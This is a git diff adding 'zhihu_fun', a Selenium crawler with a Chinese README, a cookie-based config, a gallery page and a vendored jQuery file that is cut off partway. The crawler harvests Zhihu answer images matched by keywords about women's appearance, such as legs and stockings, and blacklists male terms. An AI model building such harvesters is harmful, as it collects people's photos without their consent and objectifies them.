+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# IPython Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# dotenv
+.env
+
+# virtualenv
+venv/
+ENV/
+
+# Spyder project settings
+.spyderproject
+
+# Rope project settings
+.ropeproject
+
+# custom
+data/*
+result.json
+.DS_Store
+.idea
diff --git a/zhihu_fun/README.md b/zhihu_fun/README.md
new file mode 100644
index 00000000..36562aa0
--- /dev/null
+++ b/zhihu_fun/README.md
@@ -0,0 +1,108 @@
+# zhihu_fun
+
+> 基于 Selenium 的知乎关键词爬虫，仅支持 Python 3
+
+## Demo
+
+![web_demo](demo/web_demo.png)
+
+![keyword_demo](demo/keyword_demo.png)
+
+![result_demo](demo/result_demo.png)
+
+![data_demo](demo/data_demo.png)
+
+## 安装配置
+
+### 安装 phantomjs
+`zhihu_fun` 依赖 `phantomjs`, 且版本必须大于 2.1
+
+```shell
+$ wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
+
+$ tar xf phantomjs-2.1.1-linux-x86_64.tar.bz2 -C /opt/
+
+$ ln -sv /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/ # 确保 phantomjs 在 system PATH 路径下
+```
+
+### 配置 Nginx
+
+为什么要使用 `Nginx`, 其实也可以不用，原因请看这个 `issue`
+
+[readme 对小白如我不太友好 #5](https://github.com/AnyISalIn/zhihu_fun/issues/5)
+
+```shell
+# 确保 autoindex 和 charset 被正确配置
+server {
+        listen 80 default_server;
+        listen [::]:80 default_server ipv6only=on;
+
+        root /usr/share/nginx/html/zhihu_fun;
+        autoindex on;
+        index index.html index.htm;
+        charset UTF-8;
+        # Make site accessible from http://localhost/
+        server_name localhost;
+
+        location / {
+                # First attempt to serve request as file, then
+                # as directory, then fall back to displaying a 404.
+                try_files $uri $uri/ =404;
+                # Uncomment to enable naxsi on this location
+                # include /etc/nginx/naxsi.rules
+        }
+    }
+```
+
+### 获取 Cookie
+
+正常登陆 zhihu, 通过浏览器开发者工具中的 `network` 选项，获取 `Cookie`
+
+![get_cookie](demo/get_cookie.png)
+### 配置运行 zhihu_fun
+
+```shell
+$ python
+Python 3.5.3 # 仅支持 Python
+
+$ git clone https://github.com/anyisalin/zhihu_fun.git /usr/share/nginx/html/zhihu_fun
+
+$ cd /usr/share/nginx/html/zhihu_fun
+
+$ vim go.html # 修改 <base href="http://localhost:8000"> 的地址为你当前的地址
+
+$ pip install -r requirements.txt # 安装依赖
+
+$ vim zhihu_fun/config.py # 修改 Cookie 为你的 Cookie, 或者修改其他配置
+
+$ python run.py # 运行爬虫
+```
+
+## 配置选项
+
+配置文件为 `zhihu_fun/config.py`
+
+```python
+config = {
+    'start_url': 'https://www.zhihu.com/search?type=content&q=%E7%BE%8E%E8%85%BF',  # 爬虫的起始路径，如果没有设置，则为 zhihu 主页
+    # 'start_url': '',
+    'cookie': 'You Cookie', # 登录知乎，复制浏览器的 Cookie
+    'root_url': 'https://www.zhihu.com',
+    'log_level': 'info',  # support debug, info, warn
+    'custom_urls': ['https://www.zhihu.com/search?type=content&q=%E7%BE%8E+%E7%BE%8E%E5%A5%B3', # 支持提供自定义的 URL
+                    'https://www.zhihu.com/topic/19552207/hot',
+                    'https://www.zhihu.com/question/51603251',
+                    'https://www.zhihu.com/question/51644416',
+                    'https://www.zhihu.com/topic/20011035/hot'],
+    'keyword': ['美女', '萌', '女生', '腿长', '女性',    # 根据问题标题匹配，再根据 key_number 的值，来判定匹配多少个关键词加入待爬队列
+                '日系', '可爱', '女神', '美腿', '成长',
+                '炼成', '吸引', '美', '健身', '丝袜',
+                '容貌', '拍照', '女生', '漂亮', '颜值',
+                '搭配', '长得', '好看', '衣服', '姑娘',
+                '穿', '俗气', '风格', '眼睛', '锻炼',
+                '感觉', '感受', '长的', '大学生'],
+    'blacklist': ['男生', '男性', '伪娘', '男友', '男人', '男朋友'], # 黑名单，如果问题标题匹配到黑名单中的词，则直接不匹配
+    'key_number': 2,
+    'vote_up': 10,  # 根据答案的赞同数来判定是否爬取图片
+    'url_generate_time': 30  # 设置 url generate 运行的时间, 设置为 None 代表一直跑下去, 不能为 '', ""
+```
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diff --git a/zhihu_fun/go.html b/zhihu_fun/go.html
new file mode 100644
index 00000000..8b31bb9f
--- /dev/null
+++ b/zhihu_fun/go.html
@@ -0,0 +1,76 @@
+<!DOCTYPE html>
+<html ng-app="App">
+<head>
+    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.0/angular.min.js"></script>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width">
+    <title>知乎图片库</title>
+    <base href="http://localhost:8000">
+    <link rel="stylesheet" href="/zhihu_fun/frontend/lightbox.css" type="text/css" media="all"/>
+    <script charset="utf-8">
+        angular.module('App', [])
+
+                .controller('ImageLayout', ImageLayout)
+        function ImageLayout($scope, $http) {
+            $http.get('/image_meta.json').success(function (imgs) {
+                $scope.imgs = imgs
+            })
+        }
+    </script>
+    <style type="text/css" media="screen">
+        section {
+            display: flex;
+            flex-wrap: wrap;
+        }
+
+        section::after {
+            content: '';
+            flex-grow: 999999999;
+        }
+
+        div {
+            margin: 2px;
+            background-color: #20e0ee;
+            position: relative;
+        }
+
+        div.lightbox {
+            background-color: initial;
+        }
+
+        div.lb-dataContainer {
+            background-color: initial;
+        }
+
+        div.lb-data {
+            background-color: initial;
+        }
+
+        div.lb-details {
+            background-color: initial;
+        }
+
+        i {
+            display: block;
+        }
+
+        img {
+            position: absolute;
+            top: 0;
+            width: 100%;
+            vertical-align: bottom;
+        }
+    </style>
+</head>
+<body ng-controller="ImageLayout">
+<section>
+    <div ng-repeat="img in imgs" style="width:{{img.width*200/img.height}}px;flex-grow:{{img.width*200/img.height}}">
+        <i style="padding-bottom:{{img.height/img.width*100}}%"></i>
+        <a class="example-image-link" href="{{img.src}}" data-lightbox="example-1">
+            <img src="{{img.src}}" alt="{{img.vote}}">
+        </a>
+    </div>
+</section>
+<script src="/zhihu_fun/frontend/lightbox-plus-jquery.js"></script>
+</body>
+</html>
diff --git a/zhihu_fun/requirements.txt b/zhihu_fun/requirements.txt
new file mode 100644
index 00000000..6d1f7c03
--- /dev/null
+++ b/zhihu_fun/requirements.txt
@@ -0,0 +1,5 @@
+beautifulsoup4==4.5.3
+bs4==0.0.1
+lxml==3.7.3
+requests==2.13.0
+selenium==3.3.1
diff --git a/zhihu_fun/run.py b/zhihu_fun/run.py
new file mode 100644
index 00000000..4eef6e00
--- /dev/null
+++ b/zhihu_fun/run.py
@@ -0,0 +1,40 @@
+from zhihu_fun.go import UrlGenerator, QuestionParser, basedir
+from zhihu_fun.toollib.logger import Logger
+from zhihu_fun.config import config
+from multiprocessing import Queue, Process
+import json
+import os
+
+
+def url_generator(q):
+    try:
+        g = UrlGenerator(q, keyword_number=config.get('key_number'))
+        g.run(config.get('url_generate_time'))
+    except KeyboardInterrupt:
+        g.driver.close()
+        Logger.warning('Handle KeyboardInterrupt, Stopping app...')
+    except Exception as e:
+        g.driver.close()
+        Logger.warning('Handle Exception {}'.format(e))
+    finally:
+        Logger.info('Summary: {} Record'.format(len(g.info)))
+        Logger.info('Keyword Matched \n' + json.dumps(g.macthed_keys, indent=4, ensure_ascii=False))
+        with open(os.path.join(basedir, 'result.json'), 'w') as json_file:
+            json.dump(g.info, json_file, indent=4, ensure_ascii=False)
+            Logger.info('Dump to File {}'.format(json_file.name))
+
+
+def question_parser(q):
+    try:
+        qe = QuestionParser(q)
+        qe.run()
+    except Exception as e:
+        qe.driver.close()
+        Logger.warning('Handle Exception {}'.format(e))
+
+
+if __name__ == '__main__':
+    q = Queue()
+    ps = [Process(target=fn, args=(q,), name=fn.__name__) for fn in (question_parser, url_generator)]
+    [p.start() for p in ps]
+    [p.join() for p in ps]
diff --git a/zhihu_fun/run_test.py b/zhihu_fun/run_test.py
new file mode 100644
index 00000000..bb0808a1
--- /dev/null
+++ b/zhihu_fun/run_test.py
@@ -0,0 +1,4 @@
+from tests.my_test import TestZhihuFun
+import unittest
+
+unittest.main()
diff --git a/zhihu_fun/tests/__init__.py b/zhihu_fun/tests/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/zhihu_fun/tests/my_test.py b/zhihu_fun/tests/my_test.py
new file mode 100644
index 00000000..d6f4e4a5
--- /dev/null
+++ b/zhihu_fun/tests/my_test.py
@@ -0,0 +1,27 @@
+from zhihu_fun.netlib.selenium import _get_driver, _open_question_load_more
+from zhihu_fun.toollib.bs import _to_bs
+from zhihu_fun.toollib.answer import _get_answers
+import unittest
+
+test_question_url = 'https://www.zhihu.com/question/27098131'
+
+
+class TestZhihuFun(unittest.TestCase):
+    def setUp(self):
+        self.driver = _get_driver()
+
+    def _get_page(self, url):
+        self.driver.get(url)
+        _open_question_load_more(self.driver)
+        return self.driver.page_source
+
+    def test_question_get(self):
+        self.assertTrue(isinstance(self._get_page(test_question_url), str))
+    #
+    # def test_answer_get(self):
+    #     bs_obj = _to_bs(self._get_page(test_question_url))
+    #     self.answers = _get_answers(bs_obj)
+    #     self.assertTrue(isinstance(self.answers, list))
+
+    def tearDown(self):
+        self.driver.close()
diff --git a/zhihu_fun/zhihu_fun/__init__.py b/zhihu_fun/zhihu_fun/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/zhihu_fun/zhihu_fun/config.py b/zhihu_fun/zhihu_fun/config.py
new file mode 100644
index 00000000..95de611e
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/config.py
@@ -0,0 +1,24 @@
+config = {
+    'start_url': 'https://www.zhihu.com/search?type=content&q=%E7%BE%8E%E8%85%BF',
+    # 'start_url': '',
+    'cookie': 'You Cookie',
+    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.33 Safari/537.36',
+    'root_url': 'https://www.zhihu.com',
+    'log_level': 'info',  # support debug, info, warn
+    'custom_urls': ['https://www.zhihu.com/search?type=content&q=%E7%BE%8E+%E7%BE%8E%E5%A5%B3',
+                    'https://www.zhihu.com/topic/19552207/hot',
+                    'https://www.zhihu.com/question/51603251',
+                    'https://www.zhihu.com/question/51644416',
+                    'https://www.zhihu.com/topic/20011035/hot'],
+    'keyword': ['美女', '萌', '女生', '腿长', '女性',
+                '日系', '可爱', '女神', '美腿', '成长',
+                '炼成', '吸引', '美', '健身', '丝袜',
+                '容貌', '拍照', '女生', '漂亮', '颜值',
+                '搭配', '长得', '好看', '衣服', '姑娘',
+                '穿', '俗气', '风格', '眼睛', '锻炼',
+                '感觉', '感受', '长的', '大学生'],
+    'blacklist': ['男生', '男性', '伪娘', '男友', '男人', '男朋友'],
+    'key_number': 2,
+    'vote_up': 10,
+    'url_generate_time': 30  # second
+}
diff --git a/zhihu_fun/zhihu_fun/frontend/lightbox-plus-jquery.js b/zhihu_fun/zhihu_fun/frontend/lightbox-plus-jquery.js
new file mode 100644
index 00000000..b5b06ea5
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/frontend/lightbox-plus-jquery.js
@@ -0,0 +1,9719 @@
+/*!
+ * jQuery JavaScript Library v2.1.4
+ * http://jquery.com/
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ *
+ * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2015-04-28T16:01Z
+ */
+
+(function( global, factory ) {
+
+	if ( typeof module === "object" && typeof module.exports === "object" ) {
+		// For CommonJS and CommonJS-like environments where a proper `window`
+		// is present, execute the factory and get jQuery.
+		// For environments that do not have a `window` with a `document`
+		// (such as Node.js), expose a factory as module.exports.
+		// This accentuates the need for the creation of a real `window`.
+		// e.g. var jQuery = require("jquery")(window);
+		// See ticket #14549 for more info.
+		module.exports = global.document ?
+			factory( global, true ) :
+			function( w ) {
+				if ( !w.document ) {
+					throw new Error( "jQuery requires a window with a document" );
+				}
+				return factory( w );
+			};
+	} else {
+		factory( global );
+	}
+
+// Pass this if window is not defined yet
+}(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
+
+// Support: Firefox 18+
+// Can't be in strict mode, several libs including ASP.NET trace
+// the stack via arguments.caller.callee and Firefox dies if
+// you try to trace through "use strict" call chains. (#13335)
+//
+
+var arr = [];
+
+var slice = arr.slice;
+
+var concat = arr.concat;
+
+var push = arr.push;
+
+var indexOf = arr.indexOf;
+
+var class2type = {};
+
+var toString = class2type.toString;
+
+var hasOwn = class2type.hasOwnProperty;
+
+var support = {};
+
+
+
+var
+	// Use the correct document accordingly with window argument (sandbox)
+	document = window.document,
+
+	version = "2.1.4",
+
+	// Define a local copy of jQuery
+	jQuery = function( selector, context ) {
+		// The jQuery object is actually just the init constructor 'enhanced'
+		// Need init if jQuery is called (just allow error to be thrown if not included)
+		return new jQuery.fn.init( selector, context );
+	},
+
+	// Support: Android<4.1
+	// Make sure we trim BOM and NBSP
+	rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
+
+	// Matches dashed string for camelizing
+	rmsPrefix = /^-ms-/,
+	rdashAlpha = /-([\da-z])/gi,
+
+	// Used by jQuery.camelCase as callback to replace()
+	fcamelCase = function( all, letter ) {
+		return letter.toUpperCase();
+	};
+
+jQuery.fn = jQuery.prototype = {
+	// The current version of jQuery being used
+	jquery: version,
+
+	constructor: jQuery,
+
+	// Start with an empty selector
+	selector: "",
+
+	// The default length of a jQuery object is 0
+	length: 0,
+
+	toArray: function() {
+		return slice.call( this );
+	},
+
+	// Get the Nth element in the matched element set OR
+	// Get the whole matched element set as a clean array
+	get: function( num ) {
+		return num != null ?
+
+			// Return just the one element from the set
+			( num < 0 ? this[ num + this.length ] : this[ num ] ) :
+
+			// Return all the elements in a clean array
+			slice.call( this );
+	},
+
+	// Take an array of elements and push it onto the stack
+	// (returning the new matched element set)
+	pushStack: function( elems ) {
+
+		// Build a new jQuery matched element set
+		var ret = jQuery.merge( this.constructor(), elems );
+
+		// Add the old object onto the stack (as a reference)
+		ret.prevObject = this;
+		ret.context = this.context;
+
+		// Return the newly-formed element set
+		return ret;
+	},
+
+	// Execute a callback for every element in the matched set.
+	// (You can seed the arguments with an array of args, but this is
+	// only used internally.)
+	each: function( callback, args ) {
+		return jQuery.each( this, callback, args );
+	},
+
+	map: function( callback ) {
+		return this.pushStack( jQuery.map(this, function( elem, i ) {
+			return callback.call( elem, i, elem );
+		}));
+	},
+
+	slice: function() {
+		return this.pushStack( slice.apply( this, arguments ) );
+	},
+
+	first: function() {
+		return this.eq( 0 );
+	},
+
+	last: function() {
+		return this.eq( -1 );
+	},
+
+	eq: function( i ) {
+		var len = this.length,
+			j = +i + ( i < 0 ? len : 0 );
+		return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );
+	},
+
+	end: function() {
+		return this.prevObject || this.constructor(null);
+	},
+
+	// For internal use only.
+	// Behaves like an Array's method, not like a jQuery method.
+	push: push,
+	sort: arr.sort,
+	splice: arr.splice
+};
+
+jQuery.extend = jQuery.fn.extend = function() {
+	var options, name, src, copy, copyIsArray, clone,
+		target = arguments[0] || {},
+		i = 1,
+		length = arguments.length,
+		deep = false;
+
+	// Handle a deep copy situation
+	if ( typeof target === "boolean" ) {
+		deep = target;
+
+		// Skip the boolean and the target
+		target = arguments[ i ] || {};
+		i++;
+	}
+
+	// Handle case when target is a string or something (possible in deep copy)
+	if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
+		target = {};
+	}
+
+	// Extend jQuery itself if only one argument is passed
+	if ( i === length ) {
+		target = this;
+		i--;
+	}
+
+	for ( ; i < length; i++ ) {
+		// Only deal with non-null/undefined values
+		if ( (options = arguments[ i ]) != null ) {
+			// Extend the base object
+			for ( name in options ) {
+				src = target[ name ];
+				copy = options[ name ];
+
+				// Prevent never-ending loop
+				if ( target === copy ) {
+					continue;
+				}
+
+				// Recurse if we're merging plain objects or arrays
+				if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
+					if ( copyIsArray ) {
+						copyIsArray = false;
+						clone = src && jQuery.isArray(src) ? src : [];
+
+					} else {
+						clone = src && jQuery.isPlainObject(src) ? src : {};
+					}
+
+					// Never move original objects, clone them
+					target[ name ] = jQuery.extend( deep, clone, copy );
+
+				// Don't bring in undefined values
+				} else if ( copy !== undefined ) {
+					target[ name ] = copy;
+				}
+			}
+		}
+	}
+
+	// Return the modified object
+	return target;
+};
+
+jQuery.extend({
+	// Unique for each copy of jQuery on the page
+	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
+
+	// Assume jQuery is ready without the ready module
+	isReady: true,
+
+	error: function( msg ) {
+		throw new Error( msg );
+	},
+
+	noop: function() {},
+
+	isFunction: function( obj ) {
+		return jQuery.type(obj) === "function";
+	},
+
+	isArray: Array.isArray,
+
+	isWindow: function( obj ) {
+		return obj != null && obj === obj.window;
+	},
+
+	isNumeric: function( obj ) {
+		// parseFloat NaNs numeric-cast false positives (null|true|false|"")
+		// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
+		// subtraction forces infinities to NaN
+		// adding 1 corrects loss of precision from parseFloat (#15100)
+		return !jQuery.isArray( obj ) && (obj - parseFloat( obj ) + 1) >= 0;
+	},
+
+	isPlainObject: function( obj ) {
+		// Not plain objects:
+		// - Any object or value whose internal [[Class]] property is not "[object Object]"
+		// - DOM nodes
+		// - window
+		if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
+			return false;
+		}
+
+		if ( obj.constructor &&
+				!hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) {
+			return false;
+		}
+
+		// If the function hasn't returned already, we're confident that
+		// |obj| is a plain object, created by {} or constructed with new Object
+		return true;
+	},
+
+	isEmptyObject: function( obj ) {
+		var name;
+		for ( name in obj ) {
+			return false;
+		}
+		return true;
+	},
+
+	type: function( obj ) {
+		if ( obj == null ) {
+			return obj + "";
+		}
+		// Support: Android<4.0, iOS<6 (functionish RegExp)
+		return typeof obj === "object" || typeof obj === "function" ?
+			class2type[ toString.call(obj) ] || "object" :
+			typeof obj;
+	},
+
+	// Evaluates a script in a global context
+	globalEval: function( code ) {
+		var script,
+			indirect = eval;
+
+		code = jQuery.trim( code );
+
+		if ( code ) {
+			// If the code includes a valid, prologue position
+			// strict mode pragma, execute code by injecting a
+			// script tag into the document.
+			if ( code.indexOf("use strict") === 1 ) {
+				script = document.createElement("script");
+				script.text = code;
+				document.head.appendChild( script ).parentNode.removeChild( script );
+			} else {
+			// Otherwise, avoid the DOM node creation, insertion
+			// and removal by using an indirect global eval
+				indirect( code );
+			}
+		}
+	},
+
+	// Convert dashed to camelCase; used by the css and data modules
+	// Support: IE9-11+
+	// Microsoft forgot to hump their vendor prefix (#9572)
+	camelCase: function( string ) {
+		return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
+	},
+
+	nodeName: function( elem, name ) {
+		return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
+	},
+
+	// args is for internal usage only
+	each: function( obj, callback, args ) {
+		var value,
+			i = 0,
+			length = obj.length,
+			isArray = isArraylike( obj );
+
+		if ( args ) {
+			if ( isArray ) {
+				for ( ; i < length; i++ ) {
+					value = callback.apply( obj[ i ], args );
+
+					if ( value === false ) {
+						break;
+					}
+				}
+			} else {
+				for ( i in obj ) {
+					value = callback.apply( obj[ i ], args );
+
+					if ( value === false ) {
+						break;
+					}
+				}
+			}
+
+		// A special, fast, case for the most common use of each
+		} else {
+			if ( isArray ) {
+				for ( ; i < length; i++ ) {
+					value = callback.call( obj[ i ], i, obj[ i ] );
+
+					if ( value === false ) {
+						break;
+					}
+				}
+			} else {
+				for ( i in obj ) {
+					value = callback.call( obj[ i ], i, obj[ i ] );
+
+					if ( value === false ) {
+						break;
+					}
+				}
+			}
+		}
+
+		return obj;
+	},
+
+	// Support: Android<4.1
+	trim: function( text ) {
+		return text == null ?
+			"" :
+			( text + "" ).replace( rtrim, "" );
+	},
+
+	// results is for internal usage only
+	makeArray: function( arr, results ) {
+		var ret = results || [];
+
+		if ( arr != null ) {
+			if ( isArraylike( Object(arr) ) ) {
+				jQuery.merge( ret,
+					typeof arr === "string" ?
+					[ arr ] : arr
+				);
+			} else {
+				push.call( ret, arr );
+			}
+		}
+
+		return ret;
+	},
+
+	inArray: function( elem, arr, i ) {
+		return arr == null ? -1 : indexOf.call( arr, elem, i );
+	},
+
+	merge: function( first, second ) {
+		var len = +second.length,
+			j = 0,
+			i = first.length;
+
+		for ( ; j < len; j++ ) {
+			first[ i++ ] = second[ j ];
+		}
+
+		first.length = i;
+
+		return first;
+	},
+
+	grep: function( elems, callback, invert ) {
+		var callbackInverse,
+			matches = [],
+			i = 0,
+			length = elems.length,
+			callbackExpect = !invert;
+
+		// Go through the array, only saving the items
+		// that pass the validator function
+		for ( ; i < length; i++ ) {
+			callbackInverse = !callback( elems[ i ], i );
+			if ( callbackInverse !== callbackExpect ) {
+				matches.push( elems[ i ] );
+			}
+		}
+
+		return matches;
+	},
+
+	// arg is for internal usage only
+	map: function( elems, callback, arg ) {
+		var value,
+			i = 0,
+			length = elems.length,
+			isArray = isArraylike( elems ),
+			ret = [];
+
+		// Go through the array, translating each of the items to their new values
+		if ( isArray ) {
+			for ( ; i < length; i++ ) {
+				value = callback( elems[ i ], i, arg );
+
+				if ( value != null ) {
+					ret.push( value );
+				}
+			}
+
+		// Go through every key on the object,
+		} else {
+			for ( i in elems ) {
+				value = callback( elems[ i ], i, arg );
+
+				if ( value != null ) {
+					ret.push( value );
+				}
+			}
+		}
+
+		// Flatten any nested arrays
+		return concat.apply( [], ret );
+	},
+
+	// A global GUID counter for objects
+	guid: 1,
+
+	// Bind a function to a context, optionally partially applying any
+	// arguments.
+	proxy: function( fn, context ) {
+		var tmp, args, proxy;
+
+		if ( typeof context === "string" ) {
+			tmp = fn[ context ];
+			context = fn;
+			fn = tmp;
+		}
+
+		// Quick check to determine if target is callable, in the spec
+		// this throws a TypeError, but we will just return undefined.
+		if ( !jQuery.isFunction( fn ) ) {
+			return undefined;
+		}
+
+		// Simulated bind
+		args = slice.call( arguments, 2 );
+		proxy = function() {
+			return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
+		};
+
+		// Set the guid of unique handler to the same of original handler, so it can be removed
+		proxy.guid = fn.guid = fn.guid || jQuery.guid++;
+
+		return proxy;
+	},
+
+	now: Date.now,
+
+	// jQuery.support is not used in Core but other projects attach their
+	// properties to it so it needs to exist.
+	support: support
+});
+
+// Populate the class2type map
+jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
+	class2type[ "[object " + name + "]" ] = name.toLowerCase();
+});
+
+function isArraylike( obj ) {
+
+	// Support: iOS 8.2 (not reproducible in simulator)
+	// `in` check used to prevent JIT error (gh-2145)
+	// hasOwn isn't used here due to false negatives
+	// regarding Nodelist length in IE
+	var length = "length" in obj && obj.length,
+		type = jQuery.type( obj );
+
+	if ( type === "function" || jQuery.isWindow( obj ) ) {
+		return false;
+	}
+
+	if ( obj.nodeType === 1 && length ) {
+		return true;
+	}
+
+	return type === "array" || length === 0 ||
+		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
+}
+var Sizzle =
+/*!
+ * Sizzle CSS Selector Engine v2.2.0-pre
+ * http://sizzlejs.com/
+ *
+ * Copyright 2008, 2014 jQuery Foundation, Inc. and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2014-12-16
+ */
+(function( window ) {
+
+var i,
+	support,
+	Expr,
+	getText,
+	isXML,
+	tokenize,
+	compile,
+	select,
+	outermostContext,
+	sortInput,
+	hasDuplicate,
+
+	// Local document vars
+	setDocument,
+	document,
+	docElem,
+	documentIsHTML,
+	rbuggyQSA,
+	rbuggyMatches,
+	matches,
+	contains,
+
+	// Instance-specific data
+	expando = "sizzle" + 1 * new Date(),
+	preferredDoc = window.document,
+	dirruns = 0,
+	done = 0,
+	classCache = createCache(),
+	tokenCache = createCache(),
+	compilerCache = createCache(),
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+		}
+		return 0;
+	},
+
+	// General-purpose constants
+	MAX_NEGATIVE = 1 << 31,
+
+	// Instance methods
+	hasOwn = ({}).hasOwnProperty,
+	arr = [],
+	pop = arr.pop,
+	push_native = arr.push,
+	push = arr.push,
+	slice = arr.slice,
+	// Use a stripped-down indexOf as it's faster than native
+	// http://jsperf.com/thor-indexof-vs-for/5
+	indexOf = function( list, elem ) {
+		var i = 0,
+			len = list.length;
+		for ( ; i < len; i++ ) {
+			if ( list[i] === elem ) {
+				return i;
+			}
+		}
+		return -1;
+	},
+
+	booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
+
+	// Regular expressions
+
+	// Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
+	whitespace = "[\\x20\\t\\r\\n\\f]",
+	// http://www.w3.org/TR/css3-syntax/#characters
+	characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
+
+	// Loosely modeled on CSS identifier characters
+	// An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors
+	// Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
+	identifier = characterEncoding.replace( "w", "w#" ),
+
+	// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
+	attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace +
+		// Operator (capture 2)
+		"*([*^$|!~]?=)" + whitespace +
+		// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
+		"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace +
+		"*\\]",
+
+	pseudos = ":(" + characterEncoding + ")(?:\\((" +
+		// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
+		// 1. quoted (capture 3; capture 4 or capture 5)
+		"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
+		// 2. simple (capture 6)
+		"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
+		// 3. anything else (capture 2)
+		".*" +
+		")\\)|)",
+
+	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
+	rwhitespace = new RegExp( whitespace + "+", "g" ),
+	rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
+
+	rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
+	rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
+
+	rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
+
+	rpseudo = new RegExp( pseudos ),
+	ridentifier = new RegExp( "^" + identifier + "$" ),
+
+	matchExpr = {
+		"ID": new RegExp( "^#(" + characterEncoding + ")" ),
+		"CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
+		"TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
+		"ATTR": new RegExp( "^" + attributes ),
+		"PSEUDO": new RegExp( "^" + pseudos ),
+		"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
+			"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
+			"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
+		"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
+		// For use in libraries implementing .is()
+		// We use this for POS matching in `select`
+		"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
+			whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
+	},
+
+	rinputs = /^(?:input|select|textarea|button)$/i,
+	rheader = /^h\d$/i,
+
+	rnative = /^[^{]+\{\s*\[native \w/,
+
+	// Easily-parseable/retrievable ID or TAG or CLASS selectors
+	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
+
+	rsibling = /[+~]/,
+	rescape = /'|\\/g,
+
+	// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
+	runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
+	funescape = function( _, escaped, escapedWhitespace ) {
+		var high = "0x" + escaped - 0x10000;
+		// NaN means non-codepoint
+		// Support: Firefox<24
+		// Workaround erroneous numeric interpretation of +"0x"
+		return high !== high || escapedWhitespace ?
+			escaped :
+			high < 0 ?
+				// BMP codepoint
+				String.fromCharCode( high + 0x10000 ) :
+				// Supplemental Plane codepoint (surrogate pair)
+				String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
+	},
+
+	// Used for iframes
+	// See setDocument()
+	// Removing the function wrapper causes a "Permission Denied"
+	// error in IE
+	unloadHandler = function() {
+		setDocument();
+	};
+
+// Optimize for push.apply( _, NodeList )
+try {
+	push.apply(
+		(arr = slice.call( preferredDoc.childNodes )),
+		preferredDoc.childNodes
+	);
+	// Support: Android<4.0
+	// Detect silently failing push.apply
+	arr[ preferredDoc.childNodes.length ].nodeType;
